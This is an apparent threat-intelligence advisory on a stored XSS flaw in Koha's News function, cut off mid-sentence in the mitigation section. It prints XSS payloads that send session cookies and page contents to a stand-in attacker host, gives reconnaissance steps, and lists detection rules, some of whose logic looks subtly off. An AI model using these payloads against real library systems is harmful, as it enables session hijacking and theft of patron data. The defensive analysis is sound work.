CVE-2026-26377

Executive Summary

CVE-2026-26377 is a stored Cross-Site Scripting (XSS) vulnerability in the Koha Integrated Library System (ILS), affecting all versions up to and including 25.11. The flaw resides in the News management function, allowing an authenticated user with librarian-level privileges to inject arbitrary JavaScript that executes in the context of other users' browsers, including administrators. Successful exploitation enables session hijacking, privilege escalation, and unauthorized data exfiltration from the library management system. No public exploit exists at this time, and the vulnerability has not been added to CISA's Known Exploited Vulnerabilities catalog.

Technical Analysis

The vulnerability is a classic stored XSS triggered through the News article creation/editing interface in Koha. The News function allows authorized staff to publish announcements that appear across the OPAC (Online Public Access Catalog) and staff interface. The application fails to properly sanitize and encode user-supplied input before rendering it in HTML responses, specifically in the news article body and title fields.

The underlying issue stems from insufficient output encoding in the template rendering layer. Koha uses Template Toolkit for server-side rendering, and the vulnerability occurs when news content is passed to templates without applying the html_entity or equivalent filtering directive. The application relies on client-side validation for threat detection in some configurations, which is trivially bypassed by disabling JavaScript or submitting crafted POST requests directly to the form handler.

The attack surface is the /cgi-bin/koha/tools/koha-news.pl endpoint (and related AJAX handlers), which processes news submissions. The input is stored in the news database table and later retrieved for display via get_news API calls. When the news item is fetched for rendering in the OPAC, the stored payload is interpolated into the HTML without proper escaping. Because the content is database-backed, the XSS persists until the malicious news item is manually deleted, making it a multi-session persistent threat.

Affected components include:

• OPAC news display module (opac-news.pl)
• Staff interface news management dashboard
• RSS feeds that expose news content

The lack of Content Security Policy (CSP) headers in default Koha installations increases the impact, as injected scripts can execute without being blocked by CSP restrictions.

Exploitation Scenarios

Step 1 — Reconnaissance and Target Identification

An attacker identifies Koha instances by fingerprinting the OPAC interface (default port 80/443) or the staff client (port 8080, typically /cgi-bin/koha/mainpage.pl). Shodan queries such as http.title:"Koha" reveal exposed instances. The attacker then acquires legitimate low-level staff credentials, either through phishing, credential stuffing against the staff login, or lateral movement from a compromised workstation.

Step 2 — Weaponization and Injection

With librarian credentials, the attacker navigates to the News tool:

POST /cgi-bin/koha/tools/koha-news.pl

The attacker crafts a news article where the title field contains the malicious payload. A typical payload leverages event handler injection or script tag smuggling:

<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "https://attacker.example.com/exfil?cookie=" + document.cookie, true);
xhr.send();
</script>

Alternatively, a more stealthy payload can be embedded in an <img> tag that pulls data from the admin session when the page is rendered:

<img src=x onerror="fetch('//attacker.example.com/s?d='+btoa(document.body.innerHTML))">

The attacker submits the news item, which is immediately stored in the database.

Step 3 — Payload Delivery and Execution

When any user (including administrators with higher privileges) loads the OPAC main page or the staff news dashboard, the template engine renders the stored news content. Without proper output encoding, the browser interprets the injected payload as executable script. The victim's browser executes the payload in the context of the Koha domain, inheriting the victim's session token and CSRF tokens.

Step 4 — Post-Exploitation

The attacker captures the victim's session cookie via the external exfiltration endpoint. With an administrator's session token, the attacker can:

• Access all patron records (names, addresses, contact details, borrowing history)
• Modify system settings and enable/disable security features
• Create additional admin accounts for persistent access
• Access the database management console if integrated features are enabled
• Disrupt library operations by deleting catalogs or modifying circulation rules

Impact Assessment

Business Impact: Koha is deployed in public libraries, academic institutions, and government agencies worldwide. A successful exploit compromises patron privacy — a direct violation of library confidentiality norms and legal frameworks such as the ALA Code of Ethics and, in some jurisdictions, educational privacy laws. Exposure of patron reading histories and personal data can lead to legal liability and significant reputational damage.

Technical Impact: The CVSS v3 score is estimated at Medium (6.1) based on the vulnerability class, factoring in the required low-privilege authentication, user interaction (victim must view the news page), and scope change (impact extends beyond the vulnerable component). However, in deployments where administrator accounts are shared or authentication is weak (common in smaller libraries), the effective severity escalates.

Blast Radius: Any Koha instance with the news feature enabled (default configuration) where staff accounts have been compromised. Integration with SIP2 self-check terminals, LDAP, or patron authentication systems can amplify the impact, allowing the attacker to pivot to other library services.

EPSS Context: The EPSS score of 0.00372 places this vulnerability in the lower percentile (29.9%) of exploited CVEs, indicating low immediate likelihood of in-the-wild exploitation. However, the availability of legitimate staff credentials is the primary limiting factor, rather than technical difficulty.

Detection Guidance

Sigma Rule

title: Koha Stored XSS via News Function
id: 4a3f9c2e-5b1d-4e7a-8c2b-9d4e5f6a7b8c
status: experimental
description: Detects stored XSS payloads in Koha news submission endpoints
author: ValtersIT Threat Intelligence
date: 2026/02/15
logsource:
  category: webserver
  product: apache
  service: access_log
detection:
  selection:
    cs-method: 'POST'
    cs-uri-stem:
      - '/cgi-bin/koha/tools/koha-news.pl'
      - '/cgi-bin/koha/svc/news'
    cs-referer:
      - '*koha*'
  filter_normal:
    cs-uri-query:
      - '*op=add*'
  condition: selection and not filter_normal
  keywords:
    - '<script>'
    - 'onerror='
    - 'onload='
    - 'javascript:'
    - '&lt;script&gt;'
    - '%3Cscript%3E'
falsepositives:
  - Legitimate library staff entering HTML-formatted announcements
  - URL-encoded characters in legitimate news content
level: medium

YARA Rule

rule Koha_News_XSS_CVE_2026_26377
{
    meta:
        author = "ValtersIT Threat Intelligence"
        description = "Detects malicious payloads targeting Koha news function"
        cve = "CVE-2026-26377"
        date = "2026-02-15"
        severity = "medium"
    strings:
        $s_payload1 = /<script[^>]*>[\s\S]{1,200}(document\.cookie|fetch\(|XMLHttpRequest|eval\(|fromCharCode)/
        $s_payload2 = /on(error|load|mouseover|focus)\s*=\s*["']?[^"'\s]{10,}/
        $s_payload3 = /<img[^>]+src\s*=\s*["']?[^"'\s]+["']?[^>]*onerror/
        $s_payload4 = /(?:%3C|&lt;)script(?:%3E|&gt;)/
        $s_koha_endpoint = /koha-news\.pl|opac-news\.pl/
    condition:
        any of ($s_payload*) and uint16(0) == 0x4D5A or any of ($s_payload*) and $s_koha_endpoint
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (msg:"Koha News Function Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"koha-news.pl"; http_uri; pcre:"/<script|on(error|load)|javascript\s*:|%3Cscript/i"; reference:cve,2026-26377; classtype:web-application-attack; sid:202626377; rev:1;)

Elastic Detection

sequence by source.ip with maxspan=5m
  [ network where network.direction == "ingress" and
    http.request.method == "POST" and
    http.request.uri contains "koha-news" and
    wildcard(http.request.body.content, "*<script*") ]
  [ network where network.direction == "egress" and
    http.request.uri contains ("/exfil", "/s?d=", "attacker") ]

Splunk SPL Query

index=web sourcetype="access_combined" 
| where method="POST" AND uri_path="*koha-news*"
| regex _raw="(<script|onerror=|onload=|javascript:|%3Cscript)"
| table _time, src_ip, user, uri_path, status, _raw
| dedup _time, src_ip
| sort - _time

Wazuh OSSEC Rule

<group name="koha,">
  <rule id="100263" level="10">
    <decoded_as>json</decoded_as>
    <field name="url">\.*koha-news\.pl</field>
    <field name="method">POST</field>
    <match>onerror=|onload=|%3Cscript|&lt;script</match>
    <description>Koha News function potential XSS injection attempt (CVE-2026-26377)</description>
    <group>attack,xss,web_application_attack,</group>
    <mitre>
      <id>T1190</id>
    </mitre>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 2/4 — CLAIMED. A patch has been referenced via the OSV database, but has not been independently verified against vendor release channels. The NVD description indicates the vulnerability exists "in Koha 25.11 and before," implying a patched version exists beyond 25.11.

1. Immediate Mitigations (before patching):

• Restrict access to the News management tool to only essential librarian accounts
• Implement Web Application Firewall (WAF) rules to block requests containing XSS signatures (